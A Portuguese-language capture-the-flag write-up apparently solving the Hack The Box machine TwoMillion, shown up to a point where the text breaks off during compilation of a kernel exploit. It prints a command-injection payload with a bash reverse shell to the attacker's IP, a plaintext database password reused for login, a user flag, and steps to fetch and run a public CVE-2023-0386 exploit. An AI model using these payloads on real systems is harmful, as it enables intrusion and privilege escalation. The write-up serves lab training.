# TwoMillion

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FYYC25HAlPs9FZNZc02e4%2FTwoMillion.png?alt=media&#x26;token=98fffdfa-d2f9-455c-8f3e-12a099b8f0d5" alt="" width="563"><figcaption><p><a href="https://app.hackthebox.com/machines/TwoMillion">https://app.hackthebox.com/machines/TwoMillion</a></p></figcaption></figure>

## **Reconhecimento de Rede** <a href="#reconhecimento-de-rede" id="reconhecimento-de-rede"></a>

### Verificando a conectividade via Ping <a href="#verificando-a-conectividade-via-ping" id="verificando-a-conectividade-via-ping"></a>

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando `ping`. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.

```sh
──╼ #ping -c 1 10.10.11.221
PING 10.10.11.221 (10.10.11.221) 56(84) bytes of data.
64 bytes from 10.10.11.221: icmp_seq=1 ttl=63 time=164 ms

--- 10.10.11.221 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 163.925/163.925/163.925/0.000 ms
```

### Varredura de Portas e Serviços

Em seguida, realizei um scan para identificar as portas TCP abertas na máquina:

```sh
└──╼ #nmap -sS -p- --min-rate 5000 -vvv -n -Pn -oG portsTCP.gnmap 10.10.11.221
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
```

O scan revelou duas portas abertas: 22 (SSH) e 80 (HTTP). Para obter mais informações sobre os serviços que estão sendo executados nessas portas, executei um scan mais detalhado:

```sh
└──╼ #nmap -sCV -p 22,80 -vvv -n -Pn -oN scanTCP.nmap 10.10.11.221
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

O serviço SSH está rodando OpenSSH 8.9p1 e o serviço HTTP está rodando Nginx. O título da página HTTP sugere que o site pode estar configurado para redirecionar para `http://2million.htb/`.

Para verificar o funcionamento do redirecionamento, adicionei o domínio ao arquivo `/etc/hosts`, apontando-o para o IP da máquina alvo.

```sh
└──╼ #grep '2million' /etc/hosts
10.10.11.221    2million.htb
```

```sh
└──╼ #ping -c 1 2million.htb
PING 2million.htb (10.10.11.221) 56(84) bytes of data.
64 bytes from 2million.htb (10.10.11.221): icmp_seq=1 ttl=63 time=177 ms

--- 2million.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 176.711/176.711/176.711/0.000 ms
```

## Explorando o Servidor Web

Para coletar informações sobre o site, utilizei o `whatweb`, que revelou detalhes interessantes:

```sh
└──╼ #whatweb -v 2million.htb | tee whatweb.txt
WhatWeb report for http://2million.htb
Status    : 200 OK
Title     : Hack The Box :: Penetration Testing Labs
IP        : 10.10.11.221
Country   : RESERVED, ZZ

Summary   : Cookies[PHPSESSID], Email[info@hackthebox.eu], Frame, HTML5, HTTPServer[nginx], Meta-Author[Hack The Box], nginx, Script, X-UA-Compatible[IE=edge], YouTube
...
HTTP Headers:
        HTTP/1.1 200 OK
        Server: nginx
        Date: Thu, 21 Sep 2023 03:07:29 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: close
        Set-Cookie: PHPSESSID=l8kdu3k3738407l29l4hocok2p; path=/
        Expires: Thu, 19 Nov 1981 08:52:00 GMT
        Cache-Control: no-store, no-cache, must-revalidate
        Pragma: no-cache
```

A análise indicou que o site está rodando Nginx como servidor web e utiliza cookies PHP (`PHPSESSID`).

O título da página sugere que o site é uma versão antiga do Hack The Box.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FDM8kTPFkAq5KT6rRgpeP%2Fimage.png?alt=media&#x26;token=5a5d233e-0966-4298-8f49-4ea4cdb79b29" alt=""><figcaption></figcaption></figure>

### Detecção de Tecnologias

Utilizei o `wappalyzer` para identificar tecnologias utilizadas no site. O scan revelou que o site está utilizando a biblioteca JavaScript "toaster" versão 2.1.2.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FwBlrcX0FK9HDOTKXzSvO%2Fimage.png?alt=media&#x26;token=0f5f7a7a-55e3-4899-b741-8ad6354583d4" alt=""><figcaption></figcaption></figure>

### Web Crawling

Através do `gospider`, identifiquei as principais páginas do site:

```sh
└──╼ #gospider -s http://2million.htb/ | grep '2million.htb' | tee gospider.txt
[url] - [code-200] - http://2million.htb/
[href] - http://2million.htb/images/favicon.png
[href] - http://2million.htb/css/htb-frontpage.css
[href] - http://2million.htb/
[href] - http://2million.htb/login
[href] - http://2million.htb/invite
```

O site possui uma página de login e uma página de convite (`/invite`).

### Análise de Código JavaScript

Na página de convite (`/invite`), o código-fonte HTML revela a presença de um script JavaScript utilizado para validar códigos de convite.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FEppzQaS0iTaPcCOJMnVw%2Fimage.png?alt=media&#x26;token=fce18277-53af-4c5d-91f7-7c0ba38ab0c0" alt=""><figcaption></figcaption></figure>

O script pode ser encontrado em `/js/inviteapi.min.js` e aparenta estar obfuscado.

{% code overflow="wrap" %}

```javascript
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|***makeInviteCode***|how|to|generate|verify'.split('|'),0,{}))
```

{% endcode %}

Este script pode ser um ponto importante para entender a lógica de validação dos códigos de convite e potencialmente encontrar vulnerabilidades ou informações sensíveis.

Pesquisando sobre o assunto, encontrei um blog que descreve um processo semelhante de obfuscação de JavaScript.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FWKuqLqV7df2FuCzkFeBP%2Fimage.png?alt=media&#x26;token=4c7bb880-0050-4319-ac7c-94a04a3adfdb" alt=""><figcaption><p><a href="https://infosecwriteups.com/javascript-deobfuscation-for-pentester-a00eb12cdefd">https://infosecwriteups.com/javascript-deobfuscation-for-pentester-a00eb12cdefd</a></p></figcaption></figure>

Usando a ferramenta [Beautifier.io](https://beautifier.io/), conseguimos desofuscar o código JavaScript para uma forma mais legível:

```javascript
function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}
```

O código possui duas funções principais: `verifyInviteCode` e `makeInviteCode`. A função `verifyInviteCode` envia uma solicitação POST para verificar um código de convite, enquanto a função `makeInviteCode` solicita a geração de um novo código de convite.

### Decodificação e Geração de Código de Convite

Utilizei o Postman para enviar uma requisição POST para `http://2million.htb/api/v1/invite/how/to/generate`. A resposta contém um código encriptado em ROT13:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FDNV7oHfzvARi0Q3ulwx0%2Fimage.png?alt=media&#x26;token=63492786-24d5-4129-9edb-9794b250649a" alt=""><figcaption></figcaption></figure>

```json
{
    "0": 200,
    "success": 1,
    "data": {
        "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
        "enctype": "ROT13"
    },
    "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}
```

Decodificando o texto ROT13 usando [rot13.com](https://rot13.com/), obtivemos a seguinte mensagem:

* “In order to generate the invite code, make a POST request to /api/v1/invite/generate”

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FZ8t9ymet9z7yIFV3lPDz%2Fimage.png?alt=media&#x26;token=99646afb-30af-4dac-a399-5b1866206783" alt=""><figcaption></figcaption></figure>

Enviei uma requisição POST para `/api/v1/invite/generate` e obtive um código de convite:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2Fb7zkH0iODkUTH79ooyEo%2Fimage.png?alt=media&#x26;token=a707daaa-e9e4-4f21-a827-5a573d8b0b8c" alt=""><figcaption></figcaption></figure>

```json
{
    "0": 200,
    "success": 1,
    "data": {
        "code": "SllTQ0gtVTRQSkktMDlNVEstUjVCTk0=",
        "format": "encoded"
    }
}
```

O código está em base64, então o decodificamos:

```sh
└──╼ #echo 'SllTQ0gtVTRQSkktMDlNVEstUjVCTk0='  | base64 -d
JYSCH-U4PJI-09MTK-R5BNM
```

Com o código de convite decodificado, consegui acessar o painel de registro:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FRNJMGGaNx8IuAnMH3dMo%2Fimage.png?alt=media&#x26;token=c882510c-ab66-46d4-94cc-7448e81d1bc5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FARBS0Txyi33xvgThlohk%2Fimage.png?alt=media&#x26;token=fa979ae1-c923-4d22-87a4-eb3d804b9336" alt=""><figcaption></figcaption></figure>

Após criar a conta com sucesso, conseguimos fazer login na aplicação:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FidcAXRKnr4cpGJwQzMXr%2Fimage.png?alt=media&#x26;token=3ce23353-96fa-4e7a-9d55-2316794aaa50" alt=""><figcaption></figcaption></figure>

Com o login efetuado, conseguimos acessar a página principal do site:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2Fk4QMsc5CrMzjGR5JAasL%2Fimage.png?alt=media&#x26;token=3343109c-3189-498b-bb50-6776f5e0f6d3" alt=""><figcaption></figcaption></figure>

## Enumeração Web Autenticado

Após o login, a aplicação exibe algumas páginas acessíveis, mas nenhuma delas parece revelar informações particularmente sensíveis. Entre as páginas disponíveis, há uma para gerar a VPN de acesso aos laboratórios:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2F1dg86qYl5Bc2THT9OBrE%2Fimage.png?alt=media&#x26;token=4334ec21-a097-41bc-b1d4-729010682d5e" alt=""><figcaption></figcaption></figure>

### Fuzzing na API

Explorando a API da aplicação, observei que a rota `/api` fornece a versão da API:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2Fwi7Tvn7L64RrlW93GQVl%2Fimage.png?alt=media&#x26;token=39274579-08be-415a-b5b9-20de39378132" alt=""><figcaption></figcaption></figure>

A rota `/api/v1` lista diversas rotas e, curiosamente, inclui endpoints para administração:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FAwc7BtTU2meoVT96NdTc%2Fimage.png?alt=media&#x26;token=b12e6d98-6939-4457-b4b6-041babc6a44e" alt=""><figcaption></figcaption></figure>

```json
{
    "v1": {
        "user": {
            "GET": {
                "/api/v1": "Route List",
                "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
                "/api/v1/invite/generate": "Generate invite code",
                "/api/v1/invite/verify": "Verify invite code",
                "/api/v1/user/auth": "Check if user is authenticated",
                "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
                "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
                "/api/v1/user/vpn/download": "Download OVPN file"
            },
            "POST": {
                "/api/v1/user/register": "Register a new user",
                "/api/v1/user/login": "Login with existing user"
            }
        },
        "admin": {
            "GET": {
                "/api/v1/admin/auth": "Check if user is admin"
            },
            "POST": {
                "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
            },
            "PUT": {
                "/api/v1/admin/settings/update": "Update user settings"
            }
        }
    }
}
```

Para verificar o status de autenticação, consultei a rota `/api/v1/user/auth`. O usuário autenticado, no caso, é `bruno`, mas ele não possui privilégios administrativos.

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FcELbJzzdTtBJWN7RGHIf%2Fimage.png?alt=media&#x26;token=1c8ca954-f075-4dd5-9924-0110d143894a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FcX29Cg5DqDweFtgfZ16o%2Fimage.png?alt=media&#x26;token=52d1698a-20e6-4689-bfab-4ca18f1b7068" alt=""><figcaption></figcaption></figure>

### Explorando a Rota Admin

Observando a rota `/api/v1/admin/vpn/generate`, notei que inicialmente recebi uma mensagem de erro indicando um content-type inválido:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FDOMTZuAXrc5IAjhIAxy7%2Fimage.png?alt=media&#x26;token=81843380-2e7b-44c7-8341-aa592a280589" alt=""><figcaption></figcaption></figure>

O erro ocorre porque o `Content-Type` da requisição não está especificado. Como estou trabalhando com JSON, defini o cabeçalho `Content-Type` como `application/json` para ver o que aconteceria.

Ao especificar o `Content-Type`, a resposta da API agora indicou que o parâmetro `email` estava faltando:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2F7jfzbsWWwo6gK4wyQCQM%2Fimage.png?alt=media&#x26;token=fafcf7cd-9896-4171-be15-91c651bb7ae5" alt=""><figcaption></figcaption></figure>

Isso fez sentido, pois estava tentando atualizar uma configuração de administrador e precisava fornecer o e-mail associado.

Adicionei o parâmetro `email` ao corpo da requisição. No entanto, recebi uma nova mensagem informando que o parâmetro `is_admin` estava faltando, o que provavelmente é necessário para promover a conta a administrador:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2Fy2sGzqFFefIZAW1a8xMx%2Fimage.png?alt=media&#x26;token=a36ddf88-d6e2-4208-860c-c169a5c4d671" alt=""><figcaption></figcaption></figure>

Como verifiquei anteriormente, minha conta tinha a flag `is_admin` definida como 0. Então, tentei definir o valor para 1 e realizar a requisição novamente.

A alteração foi bem-sucedida:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2Fy38JVN1PRGwkPX3lgytD%2Fimage.png?alt=media&#x26;token=35e27405-da31-4db9-a2f6-ced1daf6c58c" alt=""><figcaption></figcaption></figure>

Para confirmar, utilizei a rota `/api/v1/admin/auth` e verifiquei que minha conta agora tinha privilégios administrativos:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FIQV4YmMXGfQcBhVOXjn9%2Fimage.png?alt=media&#x26;token=1dabaa12-8e69-4996-a387-2b4a50b1ee75" alt=""><figcaption></figcaption></figure>

### Geração da VPN

Com a conta agora configurada como administradora, testei a rota `/api/v1/admin/vpn/generate` para gerar uma configuração de VPN para um usuário específico. A API inicialmente solicitou que eu especificasse o parâmetro `username`:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FqAXURdMakOdPRdhq0mlQ%2Fimage.png?alt=media&#x26;token=45dfbea6-ee44-408d-939e-9a3f162a90e2" alt=""><figcaption></figcaption></figure>

Adicionei o parâmetro `username` e consegui gerar o arquivo de configuração VPN com sucesso:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FTTEIaizvxtlRrxWuKQ5h%2Fimage.png?alt=media&#x26;token=8623fec2-32d7-4bda-a873-b47d43e5445a" alt=""><figcaption></figcaption></figure>

```json
{
    "email": "bruno@hax.or",
    "is_admin": 1,
    "username": "bruno"
}
```

### Injeção de Comandos

Após algum tempo testando diferentes abordagens, descobri que era possível injetar comandos no parâmetro `username` na rota `/api/v1/admin/vpn/generate`:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FEKN95ES9bTjyXM0EYc4o%2Fimage.png?alt=media&#x26;token=d0ed3f34-da4c-4185-b205-9bc31bf5a56f" alt=""><figcaption></figcaption></figure>

```json
{
    "email": "bruno@hax.or",
    "is_admin": 1,
    "username": "bruno; whoami #"
}
```

Para confirmar que a injeção de comandos estava funcionando, enviei um ping para minha máquina atacante e capturei a comunicação com o comando `tcpdump -i tun0`. O alvo respondeu ao ping, o que confirmou que os comandos estavam sendo executados:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FA7mDazM1R3Jy4ZhgeWn6%2Fimage.png?alt=media&#x26;token=d38197df-0043-4777-a8be-5a78da015da9" alt=""><figcaption></figcaption></figure>

```json
{
    "email": "bruno@hax.or",
    "is_admin": 1,
    "username": "bruno; ; ping -c 1 10.10.14.35 #"
}
```

## Ganhando Acesso ao Alvo

Para explorar mais, modifiquei o payload para incluir um comando de shell mais avançado.

Esse comando tenta abrir uma shell reversa para minha máquina na porta 443. Com isso, consegui obter acesso ao alvo com sucesso:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FKx9272lpek84R0eZbEuX%2Fimage.png?alt=media&#x26;token=1a7c715f-0145-4118-bb74-1d0af1ea2613" alt=""><figcaption></figcaption></figure>

```json
{
    "email": "bruno@hax.or",
    "is_admin": 1,
    "username": "bruno; bash -c 'bash -i >& /dev/tcp/10.10.14.35/443 0>&1' #"
}
```

### **Upgrade da Shell**

Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.

1. **Gerando um console bash em segundo plano:** Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de `bash` através do comando `script`, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com `CTRL+Z`:

   ```sh
   www-data@2million:~/html$ script /dev/null -c bash
   script /dev/null -c bash
   Script started, output log file is '/dev/null'.
   www-data@2million:~/html$ ^Z
   [1]+  Stopped                 nc -nlvp 443
   ```
2. **Verificando as dimensões do terminal na máquina atacante:** Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:

   ```sh
   ┌─[root@parrot]─[/opt/tools/kiterunner]
   └──╼ #stty size
   58 161
   ```
3. **Resetando o terminal no alvo:** Após isso, resetei o terminal do alvo com uma nova TTY:

   ```sh
   ┌─[✗]─[root@parrot]─[/home/bruno/CTF/HTB/TwoMillion]
   └──╼ #stty raw -echo; fg
   nc -nlvp 443
               reset xterm
   ```
4. **Definindo dimensões e variáveis de ambiente:** Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:

   ```sh
   www-data@2million:~/html$ stty rows 58 columns 161
   www-data@2million:~/html$ export TERM=xterm SHELL=bash
   ```

#### User Flag

Com o terminal configurado, explorei o sistema e descobri que existe o usuário `admin`. No diretório `/home/admin`, encontrei a `user.txt`, mas não consegui acessá-la devido às permissões:

```sh
www-data@2million:~/html$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
admin:x:1000:1000::/home/admin:/bin/bash

www-data@2million:~/html$ cat /home/admin/user.txt 
cat: /home/admin/user.txt: Permission denied
```

Para conseguir acessar o conteúdo da `user.txt` do usuário `admin`, precisava migrar de `www-data` para o usuário `admin`. Com a shell privilegiada e as permissões corretas ajustadas, poderia então explorar possíveis caminhos para a escalada de privilégios e o acesso completo ao sistema.

### Migração de Usuário

Enquanto explorava o diretório web root, encontrei um arquivo `.env` que continha variáveis de ambiente importantes, incluindo um nome de usuário e uma senha para o banco de dados:

```sh
www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Sep 21 11:30 .
drwxr-xr-x  3 root root 4096 Jun  6 10:22 ..
-rw-r--r--  1 root root   87 Jun  2 18:56 .env
-rw-r--r--  1 root root 1237 Jun  2 16:15 Database.php
-rw-r--r--  1 root root 2787 Jun  2 16:15 Router.php
drwxr-xr-x  5 root root 4096 Sep 21 11:30 VPN
drwxr-xr-x  2 root root 4096 Jun  6 10:22 assets
drwxr-xr-x  2 root root 4096 Jun  6 10:22 controllers
drwxr-xr-x  5 root root 4096 Jun  6 10:22 css
drwxr-xr-x  2 root root 4096 Jun  6 10:22 fonts
drwxr-xr-x  2 root root 4096 Jun  6 10:22 images
-rw-r--r--  1 root root 2692 Jun  2 18:57 index.php
drwxr-xr-x  3 root root 4096 Jun  6 10:22 js
drwxr-xr-x  2 root root 4096 Jun  6 10:22 views

www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
```

Com essas credenciais em mãos, resolvi testar a senha para ver se o usuário `admin` a reutilizava em outras partes do sistema. Para minha surpresa, a senha era reutilizada para o login no sistema. Assim, consegui mudar para o usuário `admin` e finalmente acessar o conteúdo da `user.txt`:

```sh
www-data@2million:~/html$ su admin
Password: SuperDuperPass123
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:/var/www/html$ cat /home/admin/user.txt 
b638f81c2686dc87e6af4a8671cb6560
```

## Escalada de Privilégios

Para validar ainda mais o acesso, tentei usar essas mesmas credenciais para acessar o sistema via SSH, e funcionou. Logo após o login, notei uma notificação que indicava a presença de um email para o usuário `admin`:

```sh
└──╼ #sshpass -p SuperDuperPass123 ssh admin@2million.htb
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Sep 21 12:16:06 PM UTC 2023

  System load:           0.0
  Usage of /:            76.8% of 4.82GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.221
  IPv6 address for eth0: dead:beef::250:56ff:feb9:ab7c

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Tue Jun  6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$
```

Resolvi investigar as aplicações de email para verificar a mensagem que me foi notificada. Encontrei os arquivos de email em `/var/mail/admin` e `/var/spool/mail/admin`.

```sh
admin@2million:~$ ls -la /var/mail/admin 
-rw-r--r-- 1 admin admin 540 Jun  2 23:20 /var/mail/admin
admin@2million:~$ ls -la /var/spool/mail/admin 
-rw-r--r-- 1 admin admin 540 Jun  2 23:20 /var/spool/mail/admin
```

Ao visualizar o conteúdo, descobri um email importante:

```sh
admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather
```

O email mencionava uma vulnerabilidade crítica no kernel Linux, especificamente relacionada ao OverlayFS e FUSE. Buscando mais informações, encontrei um [artigo da Datadog](https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/) explicando como essa vulnerabilidade funciona e um [repositório no GitHub](https://github.com/xkaneiki/CVE-2023-0386) com um exploit funcional.

### Exploração do CVE-2023-0386

Segui com a preparação para a exploração:

1. **Baixei o exploit no meu ambiente local:**

   ```sh
   └──╼ #git clone https://github.com/xkaneiki/CVE-2023-0386
   Cloning into 'CVE-2023-0386'...
   remote: Enumerating objects: 24, done.
   remote: Counting objects: 100% (24/24), done.
   remote: Compressing objects: 100% (15/15), done.
   remote: Total 24 (delta 7), reused 21 (delta 5), pack-reused 0
   Receiving objects: 100% (24/24), 426.11 KiB | 2.73 MiB/s, done.
   Resolving deltas: 100% (7/7), done.
   ```
2. Empacotei o exploit e servi via HTTP:

   ```sh
   └──╼ #zip -r CVE CVE-2023-0386/
     adding: CVE-2023-0386/ (stored 0%)
   ...

   └──╼ #python3 -m http.server 80
   Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
   ```
3. **Transferi o exploit para o alvo e descompactei:**

   ```sh
   admin@2million:/tmp/...$ wget http://10.10.14.35/CVE.zip
   --2023-09-21 16:34:05--  http://10.10.14.35/CVE.zip
   Connecting to 10.10.14.35:80... connected.
   HTTP request sent, awaiting response... 200 OK
   Length: 469628 (459K) [application/zip]
   Saving to: ‘CVE.zip’

   CVE.zip                                 100%[===============================================================================>] 458.62K   534KB/s    in 0.9s    

   2023-09-21 16:34:06 (534 KB/s) - ‘CVE.zip’ saved [469628/469628]
   ```

   ```
   admin@2million:/tmp/...$ unzip CVE.zip 
   Archive:  CVE.zip
      creating: CVE-2023-0386/
   ...
   ```
4. **Compilei e executei o exploit para obter acesso root:**

   **Compilação do exploit:**

   * O comando `make all` foi usado para compilar os arquivos fonte `fuse.c`, `exp.c`, e `getshell.c`, criando os binários `fuse`, `exp`, e `gc`. Esses binários são necessários para explorar a vulnerabilidade.
   * Durante a compilação, foram geradas algumas advertências, mas elas não impediram a criação dos executáveis necessários.

   ```sh
   admin@2million:/tmp/.../CVE-2023-0386$ make all
   gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
   fuse.c: In function ‘read_buf_callback’:
   fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
     106 |     printf("offset %d\n", off);
         |                    ~^     ~~~
         |                     |     |
         |                     int   off_t {aka long int}
         |                    %ld
